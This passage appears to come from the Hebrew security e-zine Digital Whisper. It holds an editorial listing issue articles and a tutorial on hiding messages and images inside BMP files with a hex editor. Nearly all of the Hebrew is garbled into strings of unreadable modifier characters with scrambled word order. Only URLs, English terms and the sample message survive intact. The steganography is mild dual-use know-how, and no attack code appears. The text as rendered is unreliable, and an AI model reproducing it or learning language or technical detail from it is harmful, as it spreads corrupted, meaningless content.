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˶˟ˡ ˫˧˩˶ˣ˰ˢ 
 

 ˪˷ ˶˷˰ ˡ˥˞ˢ ˭ˣ˧˪ˠ˪ ˫˧˞˟ˢ ˫˧˩ˣ˶˟Digital Whisper! 
 

˶˟˥ ˫˧ˮ˧˧ˮ˰ˢ ˢˬ's ?ˢ˪˥˞ ˪˩ˢ ˢ˲ ˣˮ˪˴˞ , ˫˩˪˴˞ ˫ˠ ˢ˩˩˷ ˢˣˣ˵ˬ ˧ˮ˞;( 
˷ˡ˥ˬ ˫˰˲ ˪˩ ˸ˣ˧˰˟ ˧˪ ˫˧˷ˣ˰ ˢ˪˞ˢ ˢ˥˧˸˲ˢ ˧˶˟ˡ ,˸ ˧˩'˯˪˥˞ ,˫˰˲ ˪˩ ˡ˧ˠˢ˪ ˢˬ ˧ˡˬ ˶˸ˣ˧ ˧˪ ˭˧˞ ,

˧ˮ˲˪ ˸ˣ˶ˣ˷ ˢˬ˩ ˯˧ˮ˩ˮ ˞˪ ˫˞ ˪˟˞ ˣˬ˴˰ ˭˩ˣ˸ˢ- ˞˪ ˫˧˧ˮ˧˴˶ ˸ˣ˥˲ ˢ˞˶ˮ ˣˮ˥ˮ˞ ?˫˸˯... 
 

ˢ˩˩ ˤ˞ ,ˣ˷˞˶ ˶˟ˡ ˭, ˸˞˴ˣˢ˟ ˶ˣˤ˰˪ˣ ˫ˣ˶˸˪ ˢ˪˧ˢ˵ˢ ˧˶˟˥ ˪˷ ˸˧˟ˣ˧˥ˢ ˢˬˠˬˢ ˸˞ ˸˧ˮ˷ ˭˧˧˴˪ ˧˸˧˴˶
˭ˣ˧˪ˠˢ ,˫˧˧ˬ˷˟ ˞˪ ˭˧˧ˡ˰ ˟˴ˬˢ ,˪˟˞ ˶˶ˣ˰˸ˢ˪ ˫˧˪˧˥˸ˬ ˞˪ ˫˸˞˷ ˡ˧ˠˢ˪ ˪ˣ˩˧ ˞˪ ˧ˮ˞ , ˸ˣˮ˰˧ˢˢ

˫˧˵˟ˡ˧˲ ˢ˟˶ˢˣ ˟ˣ˦ ˭ˣ˴˶ ˫˰ ˫˧˪˧˧ˬ ˶˸ˣ˧ ˢ˟˶ˢ ˫˧˪˟˵ˬ ˣˮ˥ˮ˞ˣ ˢ˪ˣ˰ ˵˶ ˸˧˟ˣ˧˥ˢ, ˶ˣ˴˧˵˟-  ˶˷˲˞
ˬ ˫˸˞˷ ˡ˧ˠˢ˪˶˶ˣ˰˸ˢ˪ ˫˧˪˧˥˸ .˨˶ˣ˟ˬ ˢˤˣ! 

 
˧ˮ˷ ˶˟ˡ ,ˢ˲˧ ˣˢ˷ˬ ˡˣ˰ ˭˧˧˴˪ ˧˸˧˴˶- ˫˧˧˷ˡˣ˥ˢ ˸ˣˮˣ˧˪ˠˢ ˫ˣ˯˶˲˪ ˢˬ˟ ˸ˣˣˢ˪ ˢ˪˧˥˸˟ ˡ˰ˣˮ ˣˮ˪˷ ˶˸˞ˢ ,

˨ˣ˲ˢˮ˷ ˣ˪˷ ˭ˣ˧˰˶ˢ ˫˰ ˵ˡ˴ ˶˧ˮ ˨˞ ˰ˡ˧ˬ ˸˥˦˟˞ ˞˷ˣˮ˟ ˠˣ˪˟˪ , ˸ˣ˟ˣˠ˸ˢ ˶˲˯ˬ˟ ˸ˣ˞˶˪ ˶˷˲˞ ˫ˠ
˫˧˪˟˵ˬ ˣˮ˥ˮ˞˷ ,˸ˣ˯˧ˮ˩ˢ ˶˲˯ˬ˟ ˫ˠ ,˧˶˵ˬˢ ˟˶˟˷ ˨˩˟ ˫ˠˣ ˫˧˧ˣ˯ˬ ˞˷ˣˮ ˸ˣˣ˷ˢ˪ˢ˯ˮˬ ˧ˮ˞˷˩ ˫

˳˶˞˟ ˫˧˶˥˞ˣ ˫˧˪ˣˡˠ ˸ˣ˷ˡ˥ ˧˶˸˞ ˫˰ ˣ˧˪˰ ˣˮ˟˸˩˷-  ˣ˥˧˪˴ˢ ˸ˣ˷ˡ˥ ˭˸ˣ˞ ˣˢ˷˩˧˞˷ ˟˶˪ ˢ˞ˣ˶ ˧ˮ˞
˫ˢˬ ˵ˣˬ˥˪ ,˫˞˷ ˣ˞ ˞˷ˣˮˢ ˪˰ ˫˧˪˧ˬ ˢˬ˩ ˣ˵˶ˤ ˫ˢ ˣˢ˷˩˧˞ ˶˟˩ ,ˡˣˡ˶ˣ ˶˴˵ ˢ˧ˢ ˣ˰˴˧˟ ˫ˢ˷ ˶˧˵˥˸ˢ .

- ˪˟˥.  
 

˞˶ˣˮ ˞˪ , ˢ˲ ˣˮ˥ˮ˞ ˢˤ ˪˧˟˷˟(: 
 
ˣˢˤ ,˧ˢ ˣ˪˞˸ˣ˧˷ˡˣ˥ˢ ˸ˣ˶ˣ˷ˢ ˢˬ˩ ˣ , ˣˮ˪˷ ˧ˮ˧˴˶ˢ ˭ˣ˯˞˲ˢ ˪˰ ˶ˣˬ˷˪ ˧˸˥˪˴ˢ˷ ˢˣˣ˵ˬ ˧ˮ˞;( 
 

˭˧ˤˠˬ ˪˩ ˧ˮ˲˪ ˣˬ˩ˣ- ˶˸ˣ˧˟ ˢ˟ˣ˷˥ˢ ˢˮ˧˲ˢ- ˭ˣ˧˪ˠˢ ˸˶˧˴˧˟ ˣˮ˪ ˶ˤ˰˷ ˧ˬ ˪˩˪ ˸ˣˡˣ˸ˢ ,˫˧ˮ˩˸ ˫˶˸ , ˶ˤ˰
ˣ˩ˣ ˢ˩˧˶˰˟' .ˢ˟˶ ˢˡˣ˸! ˪ ˢ˟˶ ˢˡˣ˸ ˧˪˧ˤ˶˟ ˟˧˟˞)sNiGhT(  ˞˷ˣˮ˟ ˭˧˧ˮ˰ˬ ˶˵˥ˬ ˪˰Fuzzing  ˸˞˧˴ˬˣ

˸ˣ˷˪ˣ˥. ˪ ˢ˟˶ ˢˡˣ˸˭ˢ˩ ˶ˬˣ˰ ˦˲˷ˬ ˧˸˟˟ ˸ˣ˧˪˦˧ˠ˧ˡ ˸ˣ˧˞˶ ˪˷ ˭˸ˣˮ˧ˬ˞ ˞˷ˣˮ˟ ˶ˬ˞ˬ ˪˰.  ˢ˟˶ ˢˡˣ˸

˪˟˶ˣ˥ ˧˰ˣ˶  ˧˸˶˷ ˞˷ˣˮ˟ ˶ˬ˞ˬ ˪˰Proxy. ˪ ˢ˟˶ ˢˡˣ˸˭˧˧˷ ˪˞ˮ˸ˮ  ˞˷ˣˮ˟ ˶ˬ˞ˬ ˪˰HoneyPots.  ˢˡˣ˸

˪ ˢ˟˶ˡˣ˶ ˧˷  ˸ˣ˷˪ˣ˥ ˪ˣ˴˧ˮˣ ˸˞˧˴ˬ ˞˷ˣˮ˟ ˶ˬ˞ˬ ˪˰Buffer Overflows. 

 
ˡˠ˪ ˸˲˯ˣˮ ˢˡˣ˸ˣ˳˧˟ˣ˶ˡˮ˯˩˪˞ ˧ '˞˟ˢ ˭ˣ˧˪ˠ˪ ˯ˮ˩˧ˣ ˧˥˩ˣˮˢ ˭ˣ˧˪ˠ˪ ˯ˮ˩ˢ˪ ˢ˩ˤ ˞˪˷ ˶ˬ˞ˬ ˪˰. 

 

ˢˬ˧˰ˮ ˢ˞˧˶˵ ! 

 

˵˧˲˞ ˪˞˧˦˯˵       ˶˧ˮ ˶ˡ˞ 
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˪˵˷ ˧ˮ˷˟ ˢ˧˲˶ˠˣˮˠ˦˯. 
˸˞ˬ  ˪˞˧˦˯˵ ˵˧˲˞)cp77fk4r( 

 

ˢˬˡ˵ˢ 

 

 ˢˤ ˶ˬ˞ˬˣˮ˧˞ ˶ˬ˞ˬ ˪ ˨˷ˬˢ˞˷ˣˮ˟ ˧˸˟˸˩˷ ˫ˡˣ˵ˢ ˶ˬ˞ˬ , ˰˴˟˪ ˸ˣ˦˧˷ˣ ˫˧˩˶ˡ ˧˸ˠ˴ˢ ˫ˡˣ˵ˢ ˶ˬ˞ˬ˟

˪˰ ˫˩˥ ˭˲ˣ˞˟ ˸ˣˮˣˬ˸˟ ˢ˧˴˲˶ˠˣˮˠ˦˯ ˸ˣ˪ˣ˰˲-˸˧˷ˣˮ˞ˢ ˭˧˰ˢ ˪˷ ˢ˧˸ˣˮˣ˩˸ ˪ˣ˴˧ˮ ˧ˡ˧ . ˰˴˟˞ ˢˤ ˶ˬ˞ˬ˟

 ˪˰ ˸˟˥˶ˮ ˢ˶˧˵˯ ˰ˡ˧ˬ ˸˞˟˥ˢ˪ ˸ˣˮˣ˷ ˢ˧˲˶ˠˣˮˠ˦˯ ˸ˣ˦˧˷ ˶˲˯ˬ) ˱˞ˣ ˢ˶˴˵ ˸ˤˣ˶˥ˬ ˸ˣ˧ˢ˪ ˪ˣ˩˧ ˰ˡ˧ˬ

˶˟ ˳˟ˣ˵-˫˪˷ ˢ˴˶ˢ (!˫˧˪˦˧ˠ˧ˡ ˢˮˣˬ˸ ˧˦˵˧˧˟ˣ˞ ˨ˣ˸˟ . ˶˧˟˯˞ˣ ˸ˣ˞ˬˠˣˡ ˪˷ ˢˠ˴ˢ ˧ˡ˩ ˨ˣ˸ ˸˞ˤ ˰˴˟˞

ˢ˦˧˷ˣ ˢ˦˧˷ ˪˩˟ ˸ˣˮˣ˶˸˧ˢˣ ˸ˣˮˣ˶˯˥ˢ ˸˞. 

 

˳˟ˣ˵ˢ ˢˮ˟ˬ 

 

˧˪˦˧ˠ˧ˡ ˢˮˣˬ˸ ˸˯˯ˣ˟ˬ ˢ˧˲˶ˠˣˮˠ˦˯˟ ˶˟ˣˡˬ ˶˷˞˩ˡˣ˞ˬ ˦ˣ˷˲ ˭ˣ˧˰˶ˢ ˸ ,˭˧˧ˡ˰ ˨˞ , ˣˮ˞ ˣ˸ˣ˞ ˭˧˟ˢ˪ ˧ˡ˩˟

˸ˣˮˣˬ˸ ˸ˣˮˣˬ˸˪ ˸˯˥˧˧˸ˬˣ ˢˠ˧˴ˬ ˣˮ˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˨˧˞ ˪˩ ˫ˡˣ˵ ˭˧˟ˢ˪ ˫˧˩˧˶˴. 

 

˫˧˰ˡˣ˧ ˧˞ˡˣˣ˟ ˫˸˞˷ ˣˬ˩ , ˫˧ˠˣ˯ ˡˣ˞ˬ ˟˶ ˶˲˯ˬ ˫˧ˬ˧˧˵")˫˧˦ˬ˶ˣ˲ ("ˢˮˣˬ˸ ˧˴˟˵ ˪˷- ˪˪˩˟ ˫˧˴˟˵ ˣ˞ .

 ˫ˢ ˫˧˶˩ˣˬ ˫˧˦ˬ˶ˣ˲BMP ,JPG ,PNG ,GIF ˰xˡˣ .˟˪ ˣˬ˧˷˸ ˫˞ ,ˢˮˣˬ˸ˢ ˢ˸ˣ˞˷ ˣ˞˶˸ , ˢˮˣ˷ ˪ˣ˵˷˸

˦ˬ˶ˣ˲ ˪˩˟ ,˰˟ˣˮ ˪ˡ˟ˢˢ ˢˬˬ ?ˢˮˣ˷ ˭˲ˣ˞˟ ˢˮˣˬ˸ˢ ˧˦˶˲ ˸˞ ˭˯˥˞ˬ ˦ˬ˶ˣ˲ ˪˩˷ ˧ˮ˲ˬ . ˯ˮ˩˞ ˞˪ ˧ˮ˞

˦ˬ˶ˣ˲ˣ ˦ˬ˶ˣ˲ ˪˩ ˪˷ ˢˮ˟ˬˢ ˪˰ ˭˞˩ ,ˢˮˣˬ˸ ˪˷ ˢˮ˟ˬ ˧˩ ˣˮ˧˟˸˷ ˟ˣ˷˥ ˨˞- ˫˴˰˟ ˣ˞ , ˳˟ˣ˵ ˪˩ ˦˰ˬ˩

˵˪˥ ˶˲˯ˬˬ ˧ˣˮ˟ ˢ˧ˢ˧ ˣ˷ˠ˲˸˷ ˧˦˶ˡˮ˦˯˫˧˧ˤ˩˶ˬ ˫˧ . ˣ˸ˣ˞ ˪˷ ˸ˬˣ˧˯ˢ ˧˲ ˪˰ ˰˟˵ˮ ˣˮ˧˞ ˳˟ˣ˵ˢ ˦ˬ˶ˣ˲

˳˟ˣ˵ˢ- ˣ˵ˮ˪ ˢ˪ˣ˰˲ ˢˤ˧˞˟ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˶˧ˡˠˢ˪ ˢˡ˰ˣˮ ˸˞ˤ ˸ˬˣ˧˯ ˦˳˟ˣ˵ˢ ˸˞ ˫˧˴˧˶ˬ ˶˷˞˩ . ˤ˞

˳˟ˣ˵ˢ ˦ˬ˶ˣ˲ ˸˞ ˰˟ˣ˵ ˢˬ ?˭˟ˣˬ˩ ˣ˪˷ ˢˮ˟ˬˢ .˨˩˟ ˭˧˥˟ˢ˪ ˭˸˧ˮ-  ˳˟ˣ˵ ˪˷ ˸ˬˣ˧˯ ˫˧ˮ˷ˬ ˶˷˞˩) ˪˷ˬ˪

("ZIP" ˢˮˣ˷ ˦ˬ˶ˣ˲˪- ˬˠˣˡ˪ˢ" :JPG" ,-sICON ˪ ˢˮ˸˷˧ ˫ˮˬˣ˞ ˣ˪˷-ICON ˢˮˣˬ˸ ˪˷ , ˣ˴˥˪˸ ˫˞ ˱˞ˣ

˳˟ˣ˵ˢ ˪˰ ˸˞˩ , ˪ˡ˥ˬ ˸˶˧˶˟˩ ˰˟˵ˮ˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ ˨ˣ˸˪ ˣˮ˩ˣ˸ ˸˞ ˨ˣ˲˷˪ ˰ˡ˸ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ

 ˧˴˟˵˪"JPG" ,˟˪ ˣˬ˧˷ ˨˞ , ˦ˬ˶ˣ˲˟ ˶˟ˣˡˬ ˭˧˞ ˧˩ ˰˟˵˸˷ ˣˬ˰˦ˬ ˢ˞˧ˠ˷ ˰˧˲ˣ˸ ˨˶ˣ˰ˢ ˸ˮ˧˰˦ ˶˥˞˪ ˡ˧ˬ

 ˳˟ˣ˵ ˪˷ ˭˧˵˸"JPG" - ˫ˣˠ˲ ˞ˣˢ ˧˩ ˣ˞: 

 

 
 

http://www.digitalwhisper.co.il/files/Zines/0x03/DW3-2-STEGNO.pdf
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 ˸˶ˬˣ˞ ˸˞ˤ ˢˬ ˤ˞"˳˟ˣ˵ˢ ˢˮ˟ˬ" ?˸˞ˤ ˭˧˟ˢ˪ ˧ˡ˩˟ , ˢˮˣˬ˸ˢ ˧˴˟˵ ˪˷ ˢˮ˟ˬˢ ˸˞ ˢˬˠˣˡ˩ ˸˥˵˪ ˪˩ˣˮ

˶˸ˣ˧˟ ˫˧˦ˣ˷˲ˢ ,ˢ ˧˴˟˵-Bitmap ) ˧˴˟˵"BMP .("ˢ ˳˟ˣ˵ ˢˮ˟ˬ-Bitmap  ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˧˦˶ˡˮ˦˯ˢ

Windows ˨˩ ˢ˞˶ˮ: 

 
 

 ˳˟ˣ˵ˢ ˶˸ˣ˩)s-"Header(" - ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˪ ˡ˧ˠ˧ ˶˟ˣˡˬ ˳˟ˣ˵ ˠˣ˯ ˢˤ˧˞˟ , ˷ˣˠ˲ˮ ˸ˣ˧˞ˮˣ˪˥ ˸ˣ˩˶˰ˬ˟

 ˸ˤˣ˶˥ˬˢ ˸˞ ˟˶˪ ˭˞˩"424D " ˸˶ˬˣ˞˷"BM." 

 ˶˸ˣ˩˪ ˱˯ˣˮˢ ˰ˡ˧ˬ)s-"Bitmap Information" ˢ ˣ˞-"DIB header"( - ˢˮˣˬ˸ˢ ˪˰ ˰ˡ˧ˬ ˣ˩ˣ˸˟ ˪ˣ˪˩˧ ,

˟˥ˣ˶ˣ ˨˶ˣ˞ ˭ˣˠ˩ ,˭˩ˣ˸ˢ ˪˷ ˣ˪˵˷ˬ ,˫˧˦˧˟ ˯˥˧/ˣ˩ˣ ˫˧˪˯˵˧˲'. 

 ˷ˣˬ˧˷˟ ˫˧˰˟˴ˢ ˸˪˟˦)s-"("Color palette -  ˢˮˣˬ˸˟ ˷ˣˬ˧˷˪ ˫˧ˮ˧ˬˤˢ ˫˧˰˟˴ˢ ˸ˬ˧˷˶ ˸˞ ˪ˣ˪˩˸

˪˰ˣ- ˢˮˣˬ˸˟ ˫˧˰˟˴ˢ ˣ˰˟˵˧ ˢ˧˲)˫ˢ˧ˬˣ˵˧ˬ ˞˪(! 

 ˢˮˣˬ˸ˢ ˭˩ˣ˸)s-" ("Bitmap data- ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˸˞ ˪ˣ˪˩˧ , ˸˧ˮ˟˸ ˧˲ ˪˰ ˫˧˶ˡˣ˯ˬ ˪˯˵˧˲ ˶˥˞ ˪˵˯˧˲

˩ ˸˶˩ˣˬˢ-"."Raster scan 

ˢ ˳˟ˣ˵ ˢˮ˟ˬ ˪˰ ˱˯ˣˮ ˰ˡ˧ˬ˪-Bitmap ˞˟ˢ ˶ˣ˷˧˵˟ ˞ˣ˶˵˪ ˣ˪˩ˣ˸: 

http://en.wikipedia.org/wiki/BMP_file_format#Color_palette 

 

˸˞ ˣˮ˧˞˶ˣ ˳˟ˣ˵ ˪˷ ˢˮ˟ˬ ˣˢˬ ˣˮ˶˟˯ˢ ˢ˲ ˡ˰  ˧˴˟˵ ˪˷ ˢˬˠˣˡˢBMP , ˧˦˶ˡˮ˦˯ ˳˟ˣ˵ ˪˩˪˷ ˸˰ˡ˪ ˟ˣ˷˥

ˢˮ˟ˬ ˷˧ . ˫˧˴˟˵ˢ ˫˰ ˡˣ˟˰˪ ˣ˰ˡ˧˷ ˸ˣ˧ˮ˩ˣ˸ ˣ˟˸˩˧ ˣ˧˲ ˪˰ ˣ˵ ˶ˣ˷˧˧ ˰˴˟˪ ˪˩ˣˮ˷ ˧ˡ˩˟ ˣˮ˪ ˳ˣ˥ˮ ˢˤ ˢˮ˟ˬ

ˣ˪˞ˢ .˸˶ˣ˷˵˸ ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˣˬ˩ ˵ˣ˧ˡ˟. 

 

http://en.wikipedia.org/wiki/Raster_scan
http://en.wikipedia.org/wiki/BMP_file_format#Color_palette
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ˢˮˣˬ˸˟ ˸ˤˣ˶˥ˬ ˸˞˟˥ˢ 

 

ˣˮ˧˞˶˷ ˣˬ˩- ˢ ˰ˡ˧ˬˢ ˸˞ ˥ˮ˰˲˪ ˰ˡ˧ ˣˮ˪˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ˷ ˧ˡ˩˟ˢˮˣˬ˸˟ ˶ˣˬ˷ , ˦˶ˡˮ˦˯˟ ˡˣˬ˰˪ ˢ˧˪˰

˫˧˧ˣ˯ˬ ,˦˶ˡˮ˦˯ˢ ˣ˸ˣ˞ˬ ˢˠ˧˶˥ ˰˴˟ˮ ˫˞- ˠ˶ˣ˥ˢ ˰ˡ˧ˬˢ ˸˞ ˠ˧˴ˢ˪ ˰ˡ˧ ˞˪ ˣˮ˪˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ . ˭˟ˣˬ˩

˟ ˢˠ˧˶˥ ˰˴˟ˮˣ ˢˡ˧ˬ˟˷"˫˧˧˦˧˶˵ ˫˧˰˦˵ " ˭˩ˣ˸ ˸˞ ˭ˣ˰˦˪ ˨˧˞ ˰ˡ˧ ˞˪ ˣˮ˪˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ ˧˩ ˥˧ˮˢ˪ ˶˧˟˯

ˢˮˣˬ˸ˢ. 

 ˫˸ˣ˞ ˣ˪˞ ˢˬ"˫˧˧˦˧˶˵ ˫˧˰˦˵" ?- ˶˟˳˟ˣ˵ˢ ˢˮ˟ˬ ˸˞ ˫˧˶˧ˡˠˬˢ ˫˧˰˦˵˟ ˶˟ˣˡˬ ˫˧˶˵ˬˢ ˟-  ˥˵ˮ ˫˞

˸ˬˡˣ˵ˢ ˢˬˠˣˡˢ ˸˞- ˢ ˧˰˦˵˟ ˶˟ˣˡˬ˷ ˧˶ˢ-Header sx-DIB Header. 

ˢ˷˥ˬˢˢ ˨˶ˣ˴˪ ,˫˧˪˯˵˧˲ ˢ˰˷˸ ˸˟ ˢˮˣˬ˸ ˧˸˶˴˧: 

 
)˸˪ˡˠˣˬ ˢˮˣˬ˸ˢ˷ ˭˟ˣˬ˩( 

˨˶ˣ˰ ˸˶ˤ˰˟ ˢ˸ˣ˞ ˥˸˲ˮˣ ˢˡ˧ˬ˟-˞˟ˢ ˰ˡ˧ˬˢ ˸˞ ˸ˣ˞˶˪ ˪˩ˣˮ ˧˪˞ˬ˧˴ˡ˯˵ˢ: 

 

˥˪ ˟˪ ˣˬ˧˷˫˧ˮˬˣ˯ˬˢ ˫˧˵˪: 

¶ ˵ˣ˪˟ˢ ˫ˣˡ˞˟ ˭ˬˣ˯ˬˢ - ˣˮ˶ˬ˞ ˶˟˩˷ ˣˬ˩ ,˳˟ˣ˵ˢ ˠˣ˯ ˭ˬ˯ˬ. 

¶ ˵ˣ˪˟ˢ ˪ˣ˥˩˟ ˭ˬˣ˯ˬˢ -  ˳˟ˣ˵ˢ ˭˩ˣ˸ ˪ˡˣˠ ˞ˣˢˬ ˸˩˶˰ˬ˪ ˶ˬˣ˞)5A = 90 ˫˧˸˟.( 

¶  ˵ˣ˶˧˟ ˫˧ˮˬˣ˯ˬˢ ˫˧˵ˣ˪˟ˢ ˧ˮ˷ï  ˢˮˣˬ˸ˢ ˪˷ ˟˥ˣ˶ˢˣ ˨˶ˣ˞ˢ ˸˞ ˫˧ˮˬ˯ˬ)3x3 = 9 ˫˧˪˯˵˲.( 

˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ ˶˷˞˩ ˧˩ ˡˣˬ˪˪ ˭˸˧ˮ ˭˞˩ˬˢˮˣˬ˸ˢ ˸˞ ˭˰ˣ˦ ˣˮ˪ ,˟ ˫˧ˮˣ˸ˮˢ ˧˲ ˪˰ ˡˬˣ˪ ˞ˣˢ-Header 

ˢ˪ˡˣˠ ˸˞ ˢ˪˷ ,˭˩˪ˣ ,˰˟˵ˮ˷ ˪ˡˣˠˢ ˶˥˞˪ ˰ˡ˧ˬ ˱˧˯ˣˮˣ ˢˡ˧ˬ˟- ˢˮˣˬ˸˟ ˠ˴ˣ˧ ˞˪ ˞ˣˢ. 
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˸˞ˤ ˸ˣ˯ˮ˪ ˧ˡ˩˟- ˡˣ˞ˬ ˦ˣ˷˲ ,˸˶ˤ˰˟ ˟ˣ˷ ˢˮˣˬ˸ˢ ˸˞ ˣ˥˸˧˲ ˨˶ˣ˰- ˸ˤˣ˶˥ˬˢ ˸˞ ˣ˲˧˯ˣ˸ˣ ˧˪˞ˬ˧˴ˡ˯˵ˢ

"This is my Secert Msg! "ˢ˲ˣ˯˟ ,ˣ˶ˬ˷˸ˣ: 

 

 

ˣˮ˪˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ ˸˶ˤ˰˟ ˳˟ˣ˵ˢ ˸˞ ˥˸˲ˮˣ ˢˡ˧ˬ˟ ,˰˴ˣ˟˷ ˧ˣˮ˧˷˟ ˭˧˥˟ˢ˪ ˪˩ˣˮ ˞˪: 

 

ˢˤ ˢˬ˪ˣ ?˭˩˪ ˫ˡˣ˵ ˣˮ˧˞˶˷ ˣˬ˩˷ ˧ˮ˲ˬ- ˳˟ˣ˵ˢ ˭˩ˣ˸ ˪ˡˣˠ ˞ˣˢˬ ˞ˡˣˣˬ ˸ˬ˞˟ ˞˪ ˣˮ˪˷ ˧˲˞˶ˠˢ ˨˶ˣ˰ˢ ,

˟ ˣ˪ ˣ˰˟˵ˮ˷ ˫˧ˮˣ˸ˮˢˬ ˢˤˢ ˰ˡ˧ˬˢ ˸˞ ˪˟˵ˬ ˢ˪˞-Headers ˳˟ˣ˵ˢ ˪˷ .˭˩˪ˣ , ˶˥˞˪ ˟˸˩ˮ˷ ˢˬ ˪˩˭˩ˬ- 

ˣ˸ˮ˧˥˟ˬ ˫˧˧˵ ˞˪ ˦ˣ˷˲. 
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ˢˮˣˬ˸˟ ˢˮˣˬ˸ ˸˞˟˥ˢ 

 

˟ˣ˦ ˡˣ˞ˬ ˡˣ˟˰˪ ˪ˣ˩˧ ˫ˡˣ˵ˢ ˵˶˲˟ ˣˮˠ˴ˢ˷ ˭ˣ˧˰˶ˢ , ˦˯˵˦ ˨˶ˣ˰ ˸˶ˤ˰˟ ˢˮˣˬ˸ˢ ˸˞ ˥˸˲ˮˣ ˢˡ˧ˬ˟ ˨˞

˞˟˥ˣˬˢ ˰ˡ˧ˬ˟ ˡ˧ˬ ˭˧˥˟ˢ˪ ˪˩ˣˮ ˦ˣ˷˲ .˸˞ˤ ˶ˣ˸˲˪ ˧ˡ˩˟ ,ˮˢ ˰ˡ˧ˬˢ ˸˞ ˞˧˟˥ˢ˪ ˡˣ˞ˬ ˸ˣ˪˵˟ ˪˩ˣˮ" ˪

ˢˮˣˬ˸ ˨ˣ˸˟ ,˸˟ ˞˧˟˥ˢ˪ ˢˮˣˬ˸ˢ ˸˞ˣ˸˲˯ˣˮ ˢˬ˧ˬ˸ ˢˮˣˬ˸ ˨ˣ. 

ˢˬˠˣˡ˪ ,˸˞ˤ˩ ˢˮˣˬ˸ ˶ˣ˴˧ˮ: 

 

ˢˮˣˬ˸˪ ˦˯˵˦ˢ ˸˞ ˣˮ˯ˮ˩ˢ˷ ˣˬ˩ ˭˲ˣ˞ ˣ˸ˣ˞˟ ˪˩ˣˮ- ˸˞ˤˢ ˢˮˣˬ˸ˢ ˸˞ ˯˧ˮ˩ˢ˪. 

ˡˣ˞ˬ ˦ˣ˷˲ ˰ˣ˴˧˟ˢ ˨˪ˢˬ- ˶˥˟ˮ˷ ˢˮˣˬ˸ˢ ˳˟ˣ˵ ˨ˣ˸˪ ˣ˸ˣ˞ ˵˧˸˰ˮˣ ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˸˞ ˵˧˸˰ˮ . ˢˡ˧ˬ˟

ˢ˞˟ˢ ˢˮˣˬ˸˟ ˢˮˣˬ˸ˢ ˸˞ ˞˧˟˥ˢ˪ ˢ˴˶ˮˣ: 

 

˟˥ˢˢ ˨˪ˢˬ ˭˲ˣ˞˨˩ ˰˴˟˸˧ ˢ˞: 

 ˧ˡˣ˯ˢ ˭˩ˣ˸ˢ ˸˰˟ ˢˮˣˬ˸ˢ ˸˞ ˥˸˲ˮ)˭˧˧ˮ˰ˢ ˨˶ˣ˴˪- ˭˞˶˧˞˟ ˧ˮ˧˰˶ˠˢ ˶ˣ˩ˢ ˪˷ ˫˧˷˶˸ (˨˶ˣ˰ ˸˶ˤ˰˟-

˧˪˞ˬ˧˴ˡ˯˵ˢ .ˢˬ˧ˬ˸ˢ ˢˮˣˬ˸ˢ ˪˷ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˶˥˞˪ ˣ˸ˣ˞ ˵˧˟ˡˮˣ ˰ˡ˧ˬˢ ˪˪˩ ˸˞ ˵˧˸˰ˮ. 

˟ˣ˷˷ ˭˟ˣˬ˩- ˧ˬ˸ˢ ˢˮˣˬ˸ˢ ˭˧˟˪ ˸˧˶ˣ˵ˬˢ ˢˬ˧ˬ˸ˢ ˢˮˣˬ˸ˢ ˭˧˟ ˧˪˞ˣˤ˧ˣ ˪ˡ˟ˢ ˫ˣ˷ ˢ˧ˢ˧ ˞˪ ˢ˪˧˩ˬ˷ ˢˬ

ˣˮ˪˷ ˧ˡˣ˯ˢ ˭˩ˣ˸ˢ ˸˞ . ˷˶ˣ˲ˬ ˦˯˵˦ ˞˪ˣ ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˸˞ ˣˮ˯ˮ˩ˢ ˫˰˲ˢ˷ ˧ˮ˲ˬˣ")Clear-text(" , ˢˡ˧ˬ˟

˨˶ˣ˰ ˸˶ˤ˰˟ ˢˮˣˬ˸ˢ ˸˞ ˥˸˲˧ ˭˧˧ˣ˰ ˫˶ˣˠˣ-˧˪˞ˬ˧˴ˡ˯˵ˢ ,˳˟ˣ˵ˢ ˱ˣˠ˟ ˠ˧˶˥ ˰ˡ˧ˬ˟ ˭˧˥˟ˢ˪ ˪˩ˣ˧ ˞˪ ˞ˣˢ. 

˰ˡ˧ˬˢ ˸˞ ˱ˣ˪˷˪ ˧ˡ˩˟ , ˢˮˣˬ˸ˢ ˸˞ ˥ˣ˸˲˪ ˣˮ˧˪˰"ˢˬ˧ˬ˸ˢ "˨˶ˣ˰˟-ˡ˯˵ˢ˧˪˞ˬ˧˴ , ˭˩ˣ˸ ˪˷ ˣ˲ˣ˯˪ ˸˷ˠ˪

ˢˮˣ˷˞˶ˢ ˢˮˣˬ˸ˢ ,ˢ˧ˮ˷ˢ ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˸˞ ˱ˣ˪˷˪ˣ .˪˩ˣˮ ˢ˧ˮ˷ˢ ˢˮˣˬ˸ˢ ˸˪˧˥˸ ˸˞ ˞ˣ˴ˬ˪ ˧ˡ˩˟-  ˣ˞

 ˧˶ˣ˵ˬˢ ˳˟ˣ˵ˢ ˭˩ˣ˸ ˪ˡˣˠ ˸˞ ˞ˣ˶˵˪ ˦ˣ˷˲)˪˰-˟ ˸ˣˮˮˣ˟˸ˢ ˧ˡ˧-Headers (˪˰ ˣ˞- ˸ˤˣ˶˥ˬˢ ˷ˣ˲˧˥ ˧ˡ˧

"424D "ˢ ˧˴˟˵ ˷˞˶˟ ˸˞˴ˬˮ˷-BMP: 
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¶  ˭ˬˣ˯ˬˢ ˵˪˥ˢ˫ˣˡ˞˟ - ˢˬ˧ˬ˸ˢ ˢˮˣˬ˸ˢ ˭˩ˣ˸ ˱ˣ˯. 

